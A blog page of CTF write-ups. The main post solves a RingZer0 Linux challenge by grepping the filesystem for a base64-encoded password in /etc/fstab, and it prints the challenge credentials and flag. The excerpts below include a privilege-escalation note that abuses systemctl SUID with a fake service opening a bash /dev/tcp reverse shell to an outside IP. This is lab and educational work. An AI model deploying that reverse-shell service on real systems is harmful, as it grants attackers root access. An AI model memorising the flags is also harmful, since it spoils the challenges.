Skip to main content

Ringzer0CTF – Linux – Level2


Ringzer0CTF – Linux – Level2


Objective:
Get the flag…… I don’t know what else to put here

Find architect password

User: morpheus
Password: VNZDDLq2x9qXCzVdABbR1HOtz


Solution:

Ok so we login with the same user/pass of the last level and now need to find another password

So this one took a bit of time for a refresher for me.

First I tried the same process we did for the last level to see if we could find a command running with the password like we did for trinity….
Nope

Ok so Let’s just search the entire files system for “architect”

Lets get to /
Cd ../

morpheus@lxc-sysadmin:/$ ls
backup  bin  boot  dev  etc  home  lib  lib64  media  mnt  nohup.out  opt  proc  root  run  sbin  srv  sys  tmp  usr  var


ok now my first iteration here was just grep -r “architect”

That gave me way to many things….

Ok how do we filter out permission denied lets start there.

We can use 2> /dev/null

This redirects all stderr ( standard error output) to /dev/nul therefor it doesn’t show up for our grep


Ok that did get rid of all the permission denied std error messages but we are still getting way to may results.
The grep command we are using is also hitting on words that contain architect like architecture, which shows up a whole lot in the results

Lets reformat the grep search to only include architect and not anything more than that

Here is the MAN for grep

I think we might have some luck with -w

-w--word-regexp
Select only those lines containing matches that form whole words. The test is that the matching substring must either be at the beginning of the line, or preceded by a non-word constituent character. Similarly, it must be either at the end of the line or followed by a non-word constituent character. Word-constituent characters are letters, digits, and the underscore.


So this will filter out anything where architect is not the whole word it needs a non-word character either directly before or after archichect

morpheus@lxc-sysadmin:/$ grep -r -w "architect" 2> /dev/null
etc/fstab:#//TheMAtrix/phone  /media/Matrix  cifs  username=architect,password=$(base64 -d "RkxBRy0yMzJmOTliNDE3OGJkYzdmZWY3ZWIxZjBmNzg4MzFmOQ=="),iocharset=utf8,sec=ntlm  0  0
etc/group:challenger:x:1000:morpheus,trinity,architect,oracle,neo,cypher
etc/group:architect:x:1003:
etc/passwd:architect:x:1002:1003::/home/architect:/bin/bash
etc/subgid:architect:231072:65536
etc/subuid:architect:231072:65536
 

Cool looks like we found something

etc/fstab:#//TheMAtrix/phone  /media/Matrix  cifs  username=architect,password=$(base64 -d "RkxBRy0yMzJmOTliNDE3OGJkYzdmZWY3ZWIxZjBmNzg4MzFmOQ=="),iocharset=utf8,sec=ntlm  0  0



looks like this has a user/pass set but the pass is base64 encoded.

Lets flip it out and see what we get

morpheus@lxc-sysadmin:/$ echo 'RkxBRy0yMzJmOTliNDE3OGJkYzdmZWY3ZWIxZjBmNzg4MzFmOQ==' | base64 -d
FLAG-232f99b4178bdc7fef7eb1f0f78831f9
morpheus@lxc-sysadmin:/$


another flag, cool






morpheus@lxc-sysadmin:/$ grep -r "\<architect\>" 2> /dev/null

Comments

Popular posts from this blog

HacktheBox - Retired - Frolic

HacktheBox - Retired - Frolic Recon Let's start out with a threader3000 scan Some interesting results here Port 22 and 445 aren't uncommon… but 1880 and 9999 are.. Let's let nmap run through these ports  Option Selection: 1 nmap -p22,445,1880,9999 -sV -sC -T4 -Pn -oA 10.10.10.111 10.10.10.111 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-05 16:17 EDT Nmap scan report for 10.10.10.111 Host is up (0.060s latency). PORT     STATE SERVICE     VERSION 22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA) |   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA) |_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519) 445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 1880/tcp open  http        Node.js (Express middlewar

RingZero CTF - Forensics - Who am I part 2

RingZero CTF - Forensics -  Who am I part 2 Objective: I'm the proud owner of this website. Can you verify that? Solution: Well it took me a bit to figure this one out. I tried looking at the whois records for ringzer0ctf.com I tired looking at the DNS records for the site. I even looked in the Certificate for the site. Then I thought a little be more about the question. It's not asking how I can verify who own the site. It wants me to verify the owner themselves. Luckily at the bottom the page we see who is listed as on the twittter feeds @ringzer0CTF and @ MrUnik0d3r lets check if we can find the PGP for MrUniK0d3r online. I googled PGP and MrUn1k0d3r The very first result is his PGP  keybase.txt with his PGP at the bottom of the file is the flag FLAG-7A7i0V2438xL95z2X2Z321p30D8T433Z

Abusing systemctl SUID for reverse shell

Today I came across a box that had the SUID set for systemctl connected as the apache user www-data I was able to get a root reverse shell. This is to document how to use this for privilege escalation. I used a bit from this blog https://carvesystems.com/news/contest-exploiting-misconfigured-sudo/ and a bit from here too https://hosakacorp.net/p/systemd-user.html Step1. Create a fake service I named my LegitService.service I placed it in the /tmp directory on the server. [Unit] UNIT=LegitService Description=Black magic happening, avert your eyes [Service] RemainAfterExit=yes Type=simple ExecStart=/bin/bash -c "exec 5<>/dev/tcp/10.2.21.243/5555; cat <&5 | while read line; do $line 2>&5 >&5; done" [Install] WantedBy=default.target Then in order to add this to a place we can use systemctl to call from I created a link from /tmp, since I didn't have permission to put the file in the normal systemd folders systemctl link /tmp/LegitService.service The